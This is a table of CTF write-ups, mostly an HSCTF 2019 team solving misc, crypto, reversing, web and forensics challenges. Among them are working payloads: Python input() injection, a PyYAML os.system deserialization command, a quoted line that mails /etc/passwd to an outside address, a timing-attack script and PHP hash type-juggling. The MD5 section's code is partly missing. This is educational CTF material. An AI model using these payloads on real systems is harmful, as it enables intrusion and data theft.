text_chunk
stringlengths 151
703k
|
---|
# basic-pass-2 (150)
## Problem
Your company is testing out its new employee portal. After your previous shot, they made the password a bit more secure, so you can't brute force it anymore. Rise up to the occasion and demonstrate why a local machine is a bad idea, and having the account credentials on a remote server is a better idea.
(Attachments: files/basic-pass-2-linux)
## Solution
Same thing as basic-pass-1. We can run `strings` on the file and then `grep` it for the flag.
```$ strings basic-pass-2-linux | grep "bcactf{.*}"Congrats! The key is bcactf{its_another_password}``` |
A High School CTF event.
We tried to solve challenges as much as possible we can and as a result we secured 23rd position globally.

As you can see from the image we lacks in binary exploitation or pwn challenges field.If anyone interested can contact us :smiley:.
Challenge Name | Points | Flag------------ | ------------- | --------------- [A Simple Conversation](#a-simple-conversation-)| 158| hsctf{plz_u5e_pyth0n_3} |[Broken Repl](#broken_repl-) | 407| hsctf{dont_you_love_parsers} |[Hidden Flag](#hidden-flag-) | 290 | hsctf{n0t_1nv1s1bl3_an5m0r3?-39547632} |[64+word](#64word--) | 421| hsctf{b4s3_64_w0rd_s3arch3s_ar3_fu9?} |[Broken gps](#broken-gps-) | 280| hsctf{garminesuckz} |[Real Reversal](#realreversal-) | 274| hsctf{utf8_for_the_win} |[Json Info](#jsoninfo-) | 427| hsctf{JS0N_or_Y4ML} |[Massive Rsa](#massive-rsa-) | 256 | hsctf{forg0t_t0_mult1ply_prim3s} |[Really Secure Algorithm](#really-secure-algorithm-) | 314 | hsctf{square_number_time} |[Tux Kitchen](#tux-kitchen-) | 401 | hsctf{thiii111iiiss_isssss_yo0ur_b1rthd4y_s0ng_it_isnt_very_long_6621} |[I Thought Trig Was Really Easy](#i-thought-trig-was-really-easy-) | 374 |hsctf{:hyperthonk:} |[Tux Talk Show 2019](#tux-talk-show-2019) | 406 | hsctf{n1ce_j0b_w4th_r4ndom_gue33ing} |[Bitecode](#bitecode--) | 377|hsctf{wH04_u_r_2_pr0_4_th1$} |[MD5--](#md5---) | 230 | hsctf{php_type_juggling_is_fun} |[Networked Password](#networked-password--) | 314 | hsctf{sm0l_fl4g} |[Double Trouble](#double-trouble-)| 397| hsctf{koalasarethecutestaren'tthey?}
So I will try to discuss the challenges i loved the *most* here:
# **MISC**
## A Simple Conversation-:> description:
### Solution: On looking to the section of source code we see
```pythonprint("What's your age?")
age = input("> ")
sleep(1)
```Then I try to think that when it parses the input to input() function then it tries to evaluate it first that is it string , dictionary ,tuple or etc.? So guessing the flag on the server I try to send the arguments as you can see.
```streaker@DESKTOP-DS7FIJL:$ nc misc.hsctf.com 9001Hello!Hey, can you help me out real quick.I need to know your age.What's your age?> open("flag").read()Traceback (most recent call last): File "talk.py", line 18, in <module> age = input("> ") File "<string>", line 1, in <module>IOError: [Errno 2] No such file or directory: 'flag'streaker@DESKTOP-DS7FIJL:$ nc misc.hsctf.com 9001Hello!Hey, can you help me out real quick.I need to know your age.What's your age?> open("flag.txt").read()Wow!Sometimes I wish I was hsctf{plz_u5e_pyth0n_3}...```There you can see the flag:`hsctf{plz_u5e_pyth0n_3}`
## Broken_Repl-:> description:
### Solution: ```python try: # try to compile the input code = compile(line, "<input>", "exec") # compile the line of input except (OverflowError, SyntaxError, ValueError, TypeError, RecursionError) as e: # user input was bad print("there was an error in your code:", e) # notify the user of the error if False: exec(code) # run the code # TODO: find replacement for exec # TODO: exec is unsafeexcept MemoryError: # we ran out of memory # uh oh # lets remove the flag to clear up some memory print(flag) # log the flag so it is not lost```You can see that you have to cause memory error only. So my teammate Lucas looked on web and finds out [this](https://stackoverflow.com/questions/50709371/ast-literal-eval-memory-error-on-nested-list).So you can see that we can cause memory error from nested list.Great learning :smiley:
```pythonecho "[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]" | nc misc.hsctf.com 8550>>> s_push: parser stack overflowhsctf{dont_you_love_parsers}```There is the flag:`hsctf{dont_you_love_parsers}` ## Hidden Flag-:> description:
### Solution: I opened up my hexeditor HXD a great tool to change and view the hexes of file quite easily and I see messed up bytes in beginning. Then at the end of the file i see some text `key is invisible`. So then i realise that the bytes must be xored with the key and we got it by this [script](assets/misc/fixchall.py). ```pythonimport binasciifrom itertools import cycle,izip
f=open("chall.png")g=(f.read())key="invisible"ciphered = ''.join(chr(ord(c)^ord(k)) for c,k in izip(g, cycle(key)))l=open("fixed.png","a+")l.write(ciphered)
```That's it :smiley:
## 64+Word -:> description:
### Solution :So from the description we see the word search and challenge name is 64+. So we need to do base64 word search of flag.Be sure as the base64 encode texts are multiple of 4 . So choose the texts accordingly.Here is the [Script](/assets/misc/ord64.py)
```pythonfrom base64 import *file=open("64word.txt")data=file.read().split("\n")o=0while o<100: g=data[o:] for q in range(100): j=q s="" for i in g: if j>=len(i): break s+=i[j] j+=1 possible_text=(b64decode(s[:4*(len(s)//4)])) if "hsctf{" in possible_text[:6]: end_ind=possible_text.find('}')+1 print("The flag is "+ possible_text[:end_ind] ) exit(0) o+=1
```
then there is the flag:`hsctf{b4s3_64_w0rd_s3arch3s_ar3_fu9?}`
## Broken gps-:> description:Input Format:
A challenge to test some coding skills.
### Solution:Here's the [script](assets/misc/dir_gps.py) thats explain it all.
```pythonimport math
suffix=".txt"flag=""dirs=["east","west","south","north","northwest","northeast","southeast","southwest"]for i in range(1,13): up=0 right=0 filename=str(i)+suffix f=open(filename) h=(f.read()).split() for q in range(int(h[0])): pos=dirs.index(h[q+1]) if pos==0 or pos==5 or pos==6: right+=1 if pos==1 or pos==4 or pos==7: right-=1 if pos==3 or pos==4 or pos==5: up+=1 if pos==2 or pos==6 or pos==7: up-=1 flag+=chr(round(math.sqrt(up*up+right*right)*2)%26+97)print('hsctf{'+flag+'}') ```and here is the output:>hsctf{garminesuckz}
another script as well written by teammate in a more formal way :```pythonimport numpy as npfrom math import sqrt
dict_direction = { "north": np.array([ 0.0, 1.0]), "northeast": np.array([ 1.0, 1.0]), "northwest": np.array([-1.0, 1.0]), "east": np.array([ 1.0, 0.0]), "south": np.array([ 0.0,-1.0]), "southeast": np.array([ 1.0,-1.0]), "southwest": np.array([-1.0,-1.0]), "west": np.array([-1.0, 0.0])}
def distance(point1, point2): x1, y1 = point1 x2, y2 = point2 return sqrt((x2 - x1)**2 + (y2 - y1)**2)
flag = ""
for filename in range(1,13):
position_wrong = np.array([0.0, 0.0]) position_right = np.array([0.0, 0.0])
with open(f"{filename}.txt") as f: coords = f.read().strip().split('\n')[1:]
for coord in coords: position_wrong += dict_direction[coord] position_right -= dict_direction[coord]
flag += chr(ord('a') + round(distance(position_wrong, position_right)) % 26)
print(f"hsctf{{{flag}}}")```
## RealReversal-:> description:
### Solution:On opening file we see
Reversing the file means reversing the hexes.So one liner will do that
```open("reversed_reversed.txt", "wb").write(open("reversed.txt", "rb").read()[::-1])```
and on opening reversed file you see utf-8 chars
Explanation:Why it happens that on the reverse bytes we can't see any characters, because
>UTF-8 is a variable width character encoding capable of encoding all 1,112,064 valid code points in Unicode using one to four 8-bit bytes.
So on reversing 8 bytes it messed up as it reversed in two parts of four and four.Thus resulting in random chars.So you can see the flag now in reverse order:`hsctf{utf8_for_the_win}`
## JsonInfo-:> description:
### Solution:Trying few thing we see that it accepts string and shows that it's json or give the error otherwise.So we quite stuck on thinking that what kind of error we have to produce.Then googling skills had to come as it is misc, so we found a beautiful [link](https://bzdww.com/article/164589/) and in section 5 we see yaml.loadand here is the warning:
>Refer to the PyYAML documentation:
>Warning: It is not safe to call yaml.load with data received from an untrusted source! Yaml.load is just as powerful as pickle.load, so you can call any Python function.In this beautiful example found in the popular Python project Ansible , you can provide this value as (valid) YAML to Ansible Vault, which calls os.system() with the parameters provided in the file.
>!!python/object/apply:os.system ["cat /etc/passwd | mail [email protected]"]Therefore, effectively loading YAML files from user-supplied values will open the door for attacks.
>repair:
>Always use yaml.safe_load unless you have a very good reason.
So we tried to do these thing as instructed here to see if the vulnerability is here:
```Welcome to JSON info!Please enter your JSON:!!python/object/apply:os.system ["cat /etc/passwd "]root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinsyslog:x:101:102::/home/syslog:/usr/sbin/nologinType int is unsupportedPlease use a valid JSON array or objectThank you for using JSON info!
```So, yeah the vulnerability is here, Great!!!
```streaker@DESKTOP-DS7FIJL:$ nc -q 1 misc.hsctf.com 9999Welcome to JSON info!Please enter your JSON:!!python/object/apply:os.system ["cat flag.txt"]hsctf{JS0N_or_Y4ML}Type int is unsupportedPlease use a valid JSON array or objectThank you for using JSON info!```The flag is:`hsctf{JS0N_or_Y4ML}`
# **CRYPTO**
## Massive Rsa-:> description:
### Solution:
We are given with large modulus and ciphertext```n = 950687172821200540428729809153981241192606941085199889710006512529799315561656564788637203101376144614649190146776378362001933636271697777317137481911233025291081331157135314582760768668046936978951230131371278628451555794052066356238840168982528971519323334381994143826200392654688774136120844941887558297071490087973944885778003973836311019785751636542119444349041852180595146239058424861988708991060298944680661305392492285898022705075814390941667822309754536610263449507491311215196067928669134842614154655850281748314529232542980764185554607592605321212081871630106290126123668106453941684604069442637972979374182617204123679546880646955063471680804611387541602675808433185504968764805413712115090234016146947180827040328391684056285942239977920347896230959546196177226139807640271414022569186565510341302134143539867133746492544472279859740722443892721076576952182274117616122050429733446090321598356954337536610713395670667775788540830077914016236382546944507664840405622352934380411525395863579062612404875578114927946272686172750421522119335879522375883064090902859635110578120928185659759792150776022992518497479844711483878613494426215867980856381040745252296584054718251345106582780587533445417441424957999212662923937862802426711722066998062574441680275377501049078991123518677027512513302350533057609106549686502083785061647562269181863107725160293272971931807381453849850066056697913028167183570392948696346480930400320904644898839942228059188904225142187444604612121676565893284697317106343998167640380023972222033520190994951064491572372368101650142992876761420785551386138148283615194775971673577063363049929945959258097086463812469068598955485574579363616634109593903116561526921965491646400040600138481505369027344295330767163087489333402201631708610718911106905154471963379233672543874307197342217544783263700843246351822145605839955798639016346308363889766574606793652730311687899415585873892778899179927359964882217066947566799298173326850382334054179474389651499891117938361854701587568363867264590395711833275763832842002504433841816245069655064326325306033334336469743800464944131049874472540605264250854258280373869113420817955012823462838351481855289027030577957168468047751024562853260494808998446682723835213272609799649864902376137320638444968430858790173696935815430513690803796736064125183005539073920032869713201073105497655763097638587404309062750746064609677994654409535743453776560694719663801069746654445359756195253816544699551e = 65537c = 358031506752691557002311547479988375196982422041486602674622689505841503255891193495423484852537391230787811575487947331018616578066891850752360030033666964406349205662189685086812466246139857474435922486026421639388596443953295273675167564381889788905773472245885677132773617051291379731995063989611049809121305468803148551770792609803351375571069366930457307762595216806633327492195442616272627113423143562166655122764898972565860928147259322712805600875994388377208017608434714747741249858321487547543201109467214209112271771033615033493406609653861223917338109193262445432032609161395100024272041503554476490575517100959892951805088735483927048625195799936311280172779052715645263075391841840633949032397082918665057115947698884582406130793211266028238396814146117158924884049679536261009188784571232730683037831940224049822081316216826346444136538278601803972530054219050666898301540575647763640218206611889707353810593843233814867745903144987805142815936160730054575462147126944741419094810558325854901931279755547624294325463528887326262902481099025253153222985717157272371423956465138892784879439141174797253720403065191378958340033965895823856879711180993895832306970105743588207727415495184380531676665121800713201192348940665501790550763379781627493441276077597720109700408848080221149485596419299548121287851605588246207568970548444975309457244824469026820421430723018384050095117420646392648577894835705672984626936461419833136418809219064810002991383584690376016818146065548853387107821627387061145659169570667682815001659475702299150425968489723185023734605402721950322618778361500790860436305553373620345189103147000675410970964950319723908599010461359668359916257252524290941929329344189971893558606572573665758188839754783710992996790764297302297263058216442742649741478512564068171266181773137060969745593802381540073397960444915230200708170859754559500051431883110028690791716906470624666328560717322458030544811229295722551849062570074938188113143167107247887066194761639893865268761243061406701905009155852073538976526544132556878584303616835564050808296190660548444328286965504238451837563164333849009829715536534194161169283679744857703254399005457897171205489516009277290637116063165415762387507832317759826809621649619867791323227812339615334304473447955432417706078131565118376536807024099950882628684498106652639816295352225305807407640318163257501701063937626962730520365319344478183221104445194534512033852645130826246778909064441514943```It's really large. So I thought to check anyways on ecc factoring for its to be prime and we got that its really a massive prime number.So then I realize that choosing a large modulus so that it can be factorized into p & q which should be unknown for the sake of security. But if its a prime number then we have to just calculate euler totient of n i.e. n-1 to exploit it, and then calculate `d=modInverse(e,phi(n))` and tada! we have private exponent, then just basic stuffs.```python>>> import binascii>>> binascii.unhexlify(hex(pow(c,d,n))[2:])'hsctf{forg0t_t0_mult1ply_prim3s}'```So the flag is :`hsctf{forg0t_t0_mult1ply_prim3s}`
## Really Secure Algorithm-:> description:
### Solution:
We are given with modulus and ciphertext```n = 263267198123727104271550205341958556303174876064032565857792727663848160746900434003334094378461840454433227578735680279553650400052510227283214433685655389241738968354222022240447121539162931116186488081274412377377863765060659624492965287622808692749117314129201849562443565726131685574812838404826685772784018356022327187718875291322282817197153362298286311745185044256353269081114504160345675620425507611498834298188117790948858958927324322729589237022927318641658527526339949064156992164883005731437748282518738478979873117409239854040895815331355928887403604759009882738848259473325879750260720986636810762489517585226347851473734040531823667025962249586099400648241100437388872231055432689235806576775408121773865595903729724074502829922897576209606754695074134609e = 65537c = 63730750663034420186054203696069279764587723426304400672168802689236894414173435574483861036285304923175308990970626739416195244195549995430401827434818046984872271300851807150225874311165602381589988405416304964847452307525883351225541615576599793984531868515708574409281711313769662949003103013799762173274319885217020434609677019589956037159254692138098542595148862209162217974360672409463898048108702225525424962923062427384889851578644031591358064552906800570492514371562100724091169894418230725012261656940082835040737854122792213175137748786146901908965502442703781479786905292956846018910885453170712237452652785768243138215686333746130607279614237568018186440315574405008206846139370637386144872550749882260458201528561992116159466686768832642982965722508678847```Then I factored n on factordb.I got that n is the square of a prime number.Then just again simple basic stuffs calculate euler totient of n i.e. p*(p-1) , and then calculate `d=modInverse(e,phi(n))` and tada we have private exponent, then just basic stuffs.
```>>> p=16225510719965861964299051658340559066224635411075742500953901749924501886090804067406052688894869028683583501052917637552385089084807531319036985272636554557876754514524927502408114799014949174520357440885167280739363628642463479075654764698947461583766215118582826142179234382923872619079721726020446020581078274482268162477580369246821166693123724514271177264591824616458410293414647>>> import gmpy2>>> d=gmpy2.invert(e,p*(p-1))>>> import binascii>>> binascii.unhexlify(hex(pow(c,d,n))[2:])'hsctf{square_number_time}'```So the flag is :`hsctf{square_number_time}`
## Tux Kitchen-:> description:
### Solution:Here's the problem
```pythonimport random
good_image = """ TUX's KITCHEN ..- - . ' `. '.- . .--. . |: _ | : _ :| |`(@)--`.(@) | : .' `-, : :(_____.-'.' ` : `-.__.-' : ` _. _. . / / `_ ' \\ . . : \\ \\ . : _ __ .\\ . . / : `. \\ : / ' : `. . ' ` : : : `. .`_ : : / ' | :' \\ . : '__ : .--' \\`-._ . .' : `). ..| \\ ) : '._.' : ; \\-'. ..: / '. \\ - ....- | ' -. : _____ | .' ` -. .'-- --`. .' `-- -- """
flag = open('flag.txt','r').read()MY_LUCKY_NUMBER = 29486316
# I need to bake special stuff!def bake_it(): s = 0 for i in range(random.randint(10000,99999)): s = random.randint(100000000000,999999999999) s -= random.randint(232,24895235) return random.randint(100000000000,999999999999)
# Create my random messdef rand0m_mess(food,key): mess = [] mess.append(key) art = key bart = bake_it() cart = bake_it() dart = bake_it() for i in range(len(food)-1): art = (art*bart+cart)%dart mess.append(art) return mess
# Gotta prepare the food!!!def prepare(food): good_food = [] for i in range(len(food)): good_food.append(food[i]^MY_LUCKY_NUMBER) for k in range(len(good_food)): good_food[i] += MY_LUCKY_NUMBER return good_food
# Bake it!!!def final_baking(food,key): baked = rand0m_mess(food,key) treasure = [] for i in range(len(baked)): treasure.append(ord(food[i])*baked[i]) treasure = prepare(treasure) return treasure
print(good_image)key = bake_it()print(final_baking(flag,key))```great image .So at first we reversed the prepared treasure,but look closely here ```for k in range(len(good_food)): good_food[i] += MY_LUCKY_NUMBER```Iterator is k but i is used that is constant So we need to just xor for all the numbers with the lucky number.Then to reverse this line `treasure.append(ord(food[i])*baked[i])`
I need to find `baked[i]` for which I see the random_mess function which is nothing other than [LCG](https://en.wikipedia.org/wiki/Linear_congruential_generator) itself.So we know the starting of flag is 'hsctf{'.Then accordingly we calculated first six values of the sequence and with the help of works of msm from p4team on lcg we used the [script](assets/crypto/fullscript.py) to get the flag .This might fail sometime because of gcd(modulo , numbers ) !=1 or modulus isn't prime .So we have to test this for a while to get the result.
```pythonfrom functools import reducefrom gmpy2 import *
def crack_unknown_increment(states, modulus, multiplier): increment = (states[1] - states[0]*multiplier) % modulus return modulus, multiplier, increment
def crack_unknown_multiplier(states, modulus): multiplier = (states[2] - states[1]) * invert(states[1] - states[0], modulus) % modulus return crack_unknown_increment(states, modulus, multiplier)
def crack_unknown_modulus(states): diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])] zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])] modulus = abs(reduce(gcd, zeroes)) return crack_unknown_multiplier(states, modulus)
st=input("enter the states:")g=stfor i in range(len(g)): g[i]^= 29486316 # the lucky number#print("treasure",g) #check for purpose flag="hsctf{"m=[]for i in range(len(flag)): if g[i]%ord(flag[i])==0: m+=[g[i]//ord(flag[i])] n,k,d = crack_unknown_modulus(m)print('modulo-> %d \t multiplier-> %d \t increment -> %d ' % (n,k,d))
w=[m[0]]for q in range(1,70): w+= [(w[q-1]*k+d) % n] # the sequence
if m==w[:6]: print("this worked") # usual checkans=[]for i in range(70): ans+=[g[i]//w[i]] #generating flag
print(''.join(chr(i) for i in ans))
```
If you want to test this for yourself here are the [used numbers](assets/crypto/ans.txt):-Here is the flag after we ran the script `hsctf{thiii111iiiss_isssss_yo0ur_b1rthd4y_s0ng_it_isnt_very_long_6621}`
# **REVERSAL**
## I Thought Trig Was Really Easy-:> description:
### Solution:
The problem is here as:
```pythonimport math
def nice_math(x, y): return round(x + y*math.cos(math.pi * x))
lots_of_nums = lambda n,a:(lambda r:[*r,n-sum(r)])(range(n//a-a//2,n//a+a//2+a%2))
def get_number(char): return ord(char) - 96
inp = input("Enter the text: ")
out = []for i in range(0, len(inp)): for j in lots_of_nums(nice_math(get_number(inp[i]), len(inp) - i), i + 1): out.append(nice_math(j, i + 1))
ans = [-25, 1, 10, 7, 4, 7, 2, 9, 3, 8, 1, 10, 3, -1, -8, 3, -6, 5, -4, 7, -5, 8, -3, 10, -1, 12, 10, 7, -6, 9, -4, 11, -2, 13, -2, -11, 6, -9, 8, -7, 10, -5, 12, 1, -12, 7, -10, 9, -8, 11, -6, 13, -4, 11, 6, -13, 8, -11, 10, -9, 12, -7, 14, -5, 22, -16, 7, -14, 9, -12, 11, -10, 13, -8, 15, -6, -2, 2, -21, 4, -19, 6, -17, 8, -15, 10, -13, 12, -11, 5]if (out == ans): print("That is correct! Flag: hsctf{" + inp + "}")else: print("Nope sorry, try again!")```So we see lot_of_nums which is very wierd trying to reverse the function looks difficult .So we see that each position of the flag depends upon the length of the flag and the character in this line `nice_math(get_number(inp[i]), len(inp) - i), i + 1`.That's nice_math function also looks difficult to reverse.
So I tried to simply bruteforce it on the set of characters and we calculated the length of the flag on the basis of length of list ans `(((12+1)*(12+2)/2)-1)`.This was faster to do so i did it!
```pythonimport math
def nice_math(x, y): return round(x + y*math.cos(math.pi * x))
lots_of_nums = lambda n,a:(lambda r:[*r,n-sum(r)])(range(n//a-a//2,n//a+a//2+a%2))
def get_number(char): return ord(char) - 96charset="_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!:@#$%*-'"inp = ""flag=""l=1while l<=12: x=0 while x<len(charset): inp=flag+charset[x]+"b"*(12-l) assert(len(inp)==12) out = [] for i in range(0, len(inp)): for j in lots_of_nums(nice_math(get_number(inp[i]), len(inp) - i), i + 1): out.append(nice_math(j, i + 1))
ans = [-25, 1, 10, 7, 4, 7, 2, 9, 3, 8, 1, 10, 3, -1, -8, 3, -6, 5, -4, 7, -5, 8, -3, 10, -1, 12, 10, 7, -6, 9, -4, 11, -2, 13, -2, -11, 6, -9, 8, -7, 10, -5, 12, 1, -12, 7, -10, 9, -8, 11, -6, 13, -4, 11, 6, -13, 8, -11, 10, -9, 12, -7, 14, -5, 22, -16, 7, -14, 9, -12, 11, -10, 13, -8, 15, -6, -2, 2, -21, 4, -19, 6, -17, 8, -15, 10, -13, 12, -11, 5] g=((l+1)*(l+2)//2)-1 if(out[:g]==ans[:g]): flag+=charset[x] break x+=1 l+=1
print('The flag is:hsctf{'+flag+'}')```The flag is: `hsctf{:hyperthonk:}`
## Tux Talk Show 2019:> description:
### Solution:
For this challenge it says about a lucky number.```Welcome to Tux Talk Show 2019!!!Enter your lucky number:```So we opened the ghidra for pseudocode:```c// modified a bit by me int main(int argc,char **argv)
{ long lVar1; int rand; time_t time; basic_ostream *this; long in_FS_OFFSET; int input; int i; int acc; int j; int array [6]; basic_string output_string [32]; basic_istream output_stream [520]; long stack_cookie_i_guess; lVar1 = *(long *)(in_FS_OFFSET + 0x28); basic_ifstream((char *)output_stream,0x1020b0); time = time((time_t *)0x0); srand((uint)time); /* try { // try from 0010127e to 001012c0 has its CatchHandler @ 00101493 */ this = operator<<<std--char_traits<char>> ((basic_ostream *)cout,"Welcome to Tux Talk Show 2019!!!"); operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--char_traits<char>>); operator<<<std--char_traits<char>>((basic_ostream *)cout,"Enter your lucky number: "); operator>>((basic_istream<char,std--char_traits<char>> *)cin,&input); array[0] = 0x79; array[1] = 0x12c97f; array[2] = 0x135f0f8; array[3] = 0x74acbc6; array[4] = 0x56c614e; array[5] = -0x1e; i = 0; while (i < 6) { rand = rand(); array[(long)i] = array[(long)i] - (rand % 10 + -1); i = i + 1; } acc = 0; j = 0; while (j < 6) { acc = acc + array[(long)j]; j = j + 1; } if (acc == input) { ... } return 0;}```here we have 6 numbers in an array and its being added after subtracting this `(iVar1 % 10 + -1)`and if our assumed number is correct than it will give the flag for us.
So two ways we can solve it ,during the team discussion over this challenge I told them that I can write brute as the numbers are in the small range i.e 51 .Meanwhile the other way as my teammate suggested was to attack the rand function . I would explain both here.
```pythonfrom pwn import *
a=[121, 1231231, 20312312, 122342342, 90988878, -30]host="rev.hsctf.com"port=6767
m=sum(a)-48g=sum(a)+6 # setting the rangeinp=m+16 #this is where i am guessing the number and try to run multiple times in the loopwhile inp<g+1: try: s=remote(host,port) print(s.recvline()) s.sendline(str(inp)) j=s.recvline() if "hsctf{" in j: print(j) s.close() exit(0) print(j) except: s.close() sleep(1) continue```Luckily, I got the flag from there `hsctf{n1ce_j0b_w4th_r4ndom_gue33ing}` The second approach is here, save it as time.c and compile to a.out:```c#include "stdio.h"#include "stdlib.h"
int main(int argc, char *argv[]) {
time_t t; srand((unsigned) time(&t);;
int array[6] = {0x79, 0x12c97f, 0x135f0f8, 0x74acbc6, 0x56c614e, -0x1e};
int acc = 0; for(int i = 0; i < 6; i++) acc += array[(long)i] - (rand() % 10 + -1);
printf("%d\n", acc); return 0;}```and use it over this script ```pythonfrom pwn import *import time
host = "rev.hsctf.com"port = 6767
s = remote(host,port)p = process("./a.out")
res = p.recvline()
s.recvuntil(':')s.sendline(res)s.interactive()```That's it , An attack over the rand function while running the netcat server.
## Bitecode -:> description:
### Solution:This Challenge was done by Lucas my teammate So I will try to explain as far as i know as he is not writing writeups.
http://www.javadecompilers.com/ Use it for decompiling the given class file to [java file](assets/reversing/BiteCode.java).
So lot of ifs for checking single characters of the flag one by one .So using regexes he extracted them and tried to write a brute to choose them.
[Watch this video](https://youtu.be/rYOZHB_ABlo)[](https://youtu.be/rYOZHB_ABlo)
<video src="assets/reversing/regexislife.mp4" width="320" height="200" controls preload></video>
So that's it to write a script to get the flag:smiley:.```pythonb = ['A'] * 28for i in range(0xff): if (i ^ 189074585) - 189074673 == 0: b[0] = i if (i ^ -227215135) - -227215214 == 0: b[1] = i if (i ^ 19240864) - 19240899 == 0: b[2] = i if (i ^ 245881291) - 245881279 == 0: b[3] = i if (i ^ 233391094) - 233390992 == 0: b[4] = i if (i ^ 56978353) - 56978378 == 0: b[5] = i if (i ^ -213838484) - -213838565 == 0: b[6] = i if (i ^ -231671677) - -231671605 == 0: b[7] = i if (i ^ -132473862) - -132473910 == 0: b[8] = i if (i ^ 143449065) - 143449053 == 0: b[9] = i if (i ^ 108102484) - 108102411 == 0: b[10] = i if (i ^ 71123188) - 71123073 == 0: b[11] = i if (i ^ 146096006) - 146096089 == 0: b[12] = i if (i ^ -173487738) - -173487628 == 0: b[13] = i if (i ^ -116507045) - -116507132 == 0: b[14] = i if (i ^ -68013365) - -68013319 == 0: b[15] = i if (i ^ 171414622) - 171414529 == 0: b[16] = i if (i ^ 94412444) - 94412524 == 0: b[17] = i if (i ^ 197453081) - 197453163 == 0: b[18] = i if (i ^ -50622153) - -50622201 == 0: b[19] = i if (i ^ 190140381) - 190140290 == 0: b[20] = i if (i ^ 77383944) - 77383996 == 0: b[21] = i if (i ^ -41590082) - -41590047 == 0: b[22] = i if (i ^ 61204303) - 61204283 == 0: b[23] = i if (i ^ -24637751) - -24637791 == 0: b[24] = i if (i ^ 61697107) - 61697122 == 0: b[25] = i if (i ^ 267894989) - 267895017 == 0: b[26] = iprint(''.join([chr(i) for i in b[:-1]]))```Here's the flag `hsctf{wH04_u_r_2_pr0_4_th1$}`
# **WEB**
## MD5-- :> description:
### Solution:
```php
```From this you can see that flag contains the data of flag file and then value of md4 variable is set and after its value is compared to the md4(value) and then only we can obtain flag.
One thing to note that '==' comparison is used. This is where Type juggling comes. See for more [PHP Magic Tricks: Type Juggling](https://www.owasp.org/images/6/6b/PHPMagicTricks-TypeJuggling.pdf)
So what we will try to do to pick up a string which prefix would be '0e' for a reason then adding numbers ahead then calculate its md4 which will be equal to `/0e[0-9]{30}/`.So when the comparison is to be made then the strings will be treated as exponent of 0 (like 0e4=0). Thus both sides will be zero hence we will have our flag.```php {}".format(st, hashed_s) sys.exit(0) if s%10000000==0: print("[+] %d iterations done"%(s))
breakit()```Running this we get this after more than 250000000 iterations.> [+] found! md4( 0e251288019 ) ---> 0e874956163641961271069404332409
Here's our flag `hsctf{php_type_juggling_is_fun}`
## Networked Password -:> description:
### Solution:
We are given a https://networked-password.web.chal.hsctf.com/ which prompts us to submit a password having a simple form to fill it up, but from the description we see thats its delays some thing we don't know what until i saw a time differnece in our inputs like for a gibberish we see fast output but for a flag like "hsctf{" it delayed a bit. And there was a hint given as well-:
> Hint : You know the flag format
So after attempting few times i got that every character adds 0.45-0.5 seconds.But running this script you need a better internet connection.So i tried running using online interpeter there's are ton of available. You can use https://repl.it/languages/python3 or https://codeanywhere.com/editor/ you need these because of their fast servers.
And At last my first *timing attack challenge*. ```pythonimport requestsimport datetime
URL="https://networked-password.web.chal.hsctf.com/"charset="_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%*-'"flag="hsctf{"
DATA={'password':flag}r=requests.post(url=URL,data=DATA)realtime=r.elapsed.total_seconds()print("The Current Time:"+str(realtime)) # printing for debugging
for i in range(len(charset)): DATA={'password':flag+charset[i]} r=requests.post(url=URL,data=DATA) nexttime=r.elapsed.total_seconds() print("[+]Testing:"+str(nexttime)) # printing for debugging if(realtime+0.4<nexttime): realtime=nexttime if(charset[i]=='}'): print("The final flag is"+flag ) exit(0) flag+=charset[i] print("Current flag->"+ flag) i=0exit(0)```Here's the flag after so much running `hsctf{sm0l_fl4g}`Glad they had the small flag.
# **FORENSICS**
## Double Trouble :
> description:
### Solution:
After downloading image you see both are quite similar .
 
So, First thing i did to check hexes and I see bytes aren't similar . Then first thing first for a forensic challenge [stegsolve](https://github.com/zardus/ctf-tools/blob/master/stegsolve/install).
Opening it on command line `java -jar stegsolve.jar`
I tried image combiner to do AND , OR , XOR operations.But no luck.So i tried strings exiftool then reached zsteg and the output was:```streaker@DESKTOP-DS7FIJL:$ zsteg koala.png/usr/lib/ruby/2.5.0/open3.rb:199: warning: Insecure world writable dir /mnt/c in PATH, mode 040777imagedata .. text: "\n\n\n\n\n\n !"b1,b,lsb,xy .. text: "%q&),52+"b1,bgr,lsb,xy .. text: " |
# Double Trouble
## Description
What is a koala anyway?
[koala.png](koala.png) [koala2.png](koala2.png)
## Solution
